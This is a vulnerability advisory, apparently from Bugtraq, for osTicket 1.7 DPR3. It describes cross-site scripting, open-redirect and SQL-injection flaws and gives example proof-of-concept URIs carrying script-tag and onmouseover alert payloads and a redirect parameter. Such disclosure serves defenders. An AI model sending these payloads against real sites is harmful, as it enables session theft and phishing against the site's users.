osTicket Multiple Input Validation Vulnerabilities
BID:57111
Info
osTicket Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 57111 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 02 2013 12:00AM |
| Updated: | Jan 02 2013 12:00AM |
| Credit: | AkaStep |
| Vulnerable: |
osTicket osTicket 1.7 DPR3 |
| Not Vulnerable: | |
Discussion
osTicket Multiple Input Validation Vulnerabilities
osTicket is prone to multiple input-validation vulnerabilities including:
1. Multiple cross-site scripting vulnerabilities
2. An open-redirection vulnerability
3. Multiple SQL-injection vulnerabilities
An attacker may leverage these issues to perform spoofing and phishing attacks, to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
osTicket 1.7 DPR3 is vulnerable; other versions may also be affected.
osTicket is prone to multiple input-validation vulnerabilities including:
1. Multiple cross-site scripting vulnerabilities
2. An open-redirection vulnerability
3. Multiple SQL-injection vulnerabilities
An attacker may leverage these issues to perform spoofing and phishing attacks, to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
osTicket 1.7 DPR3 is vulnerable; other versions may also be affected.
Exploit / POC
osTicket Multiple Input Validation Vulnerabilities
An attacker can exploit these issues through a browser. To exploit a cross-site scripting vulnerability, the attacker must entice a victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/learn/ostickRC/scp/l.php?url=<script>alert(1);</script>
http://www.example.com/learn/ostickRC/scp/tickets.php?a=export&h=9c2601b88c05055b51962b140f5121389&status=%22%20onmouseover=%22alert%281%29%22
http://www.example.com/learn/ostickRC/scp/directory.php?q=100%22+onmouseover%3D%22alert%281%29%22&did=0&submit=Filter
http://www.example.com/learn/ostickRC/scp/l.php?url=http://www.example2.com
An attacker can exploit these issues through a browser. To exploit a cross-site scripting vulnerability, the attacker must entice a victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/learn/ostickRC/scp/l.php?url=<script>alert(1);</script>
http://www.example.com/learn/ostickRC/scp/tickets.php?a=export&h=9c2601b88c05055b51962b140f5121389&status=%22%20onmouseover=%22alert%281%29%22
http://www.example.com/learn/ostickRC/scp/directory.php?q=100%22+onmouseover%3D%22alert%281%29%22&did=0&submit=Filter
http://www.example.com/learn/ostickRC/scp/l.php?url=http://www.example2.com
Solution / Fix
osTicket Multiple Input Validation Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].